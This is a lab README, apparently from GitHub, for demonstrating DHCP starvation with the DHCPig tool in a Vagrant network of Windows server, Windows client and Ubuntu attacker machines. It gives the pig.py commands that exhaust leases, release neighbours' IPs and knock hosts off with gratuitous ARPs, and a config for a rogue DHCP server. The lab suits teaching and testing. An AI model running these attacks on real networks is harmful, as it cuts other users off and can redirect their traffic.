| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Name | Name | Last commit date | ||
|---|---|---|---|---|
DON'T BE STUPID
Windows Server 2016 - DHCP server Hostname: winsrv.m123.local IP: 192.168.56.50/24
Windows 10 - client Hostname: wincli.m123.local IP: dynamic
Ubuntu 16.04 - attacker Hostname: nixcli001.m123.local IP: 192.168.56.60
Add required vagrant boxes
vagrant box add mwrock/Windows2016
vagrant box add senglin/win-10-enterprise-vs2015community
vagrant box add minimal/xenial64Install plugin (looks broken for Win10/Win2016)
vagrant plugin install vagrant-vbguestUpdate the manual way: Copy "%PROGRAMFILES%\Oracle\VirtualBox\VBoxGuestAdditions.iso" manually to machine
Start up server instance with vagrant up
After completion, server is setup and should serve DHCP leases. Test with client vagrant up wincli
Connect to nixcli client, become root and change into DHCPig folder
sudo -s
cd DHCPigUse ip a s to identify 192.168.56.0 network. Start with ./pig.py -aiol -c enp0s8 to demonstrate attack
Usage:
pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
Options:
-a, --show-arp ... detect/print arp who_has (off)
-i, --show-icmp ... detect/print icmps requests (off)
-o, --show-options ... print lease infos (off)
-l, --show-lease-confirm ... detect/print dhcp replies (off)
-c, --color ... enable color output (off)When executed the script will perform the following actions:
Grab your Neighbors IPs before they do
Listen for DHCP Requests from other clients if offer detected, respond with request for that offer.
Request all available IP addresses in Zone
Loop and Send DHCP Requests all from different hosts & MAC addresses
Find your Neighbors MAC & IP and release their IP from DHCP server
ARP for all neighbors on that LAN, then send DHCPReleases to server
Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds) and then
Our client still has his IP.
Send gratious arps to network segment ./pig.py -aiol -grn -c enp0s8
Options:
-g, --neighbors-attack-garp ... knock off network segment using gratious arps (off)
-r, --neighbors-attack-release ... release all neighbor ips (off)
-n, --neighbors-scan-arp ... arp neighbor scan (off)Configure rouge DHCP like the original one.
cat << 'EOF' > /etc/udhcpd.conf
start 192.168.0.20
end 192.168.0.254
interface enp0s8
opt dns 8.8.8.8 8.8.4.4
option subnet 255.255.255.0
opt router 10.0.2.2 # Local server
option domain m123.local
option lease 86400 # 1 day in seconds
EOFStart service systemctl start udhcpd
| Back | FazBrowse Home | New Git URL |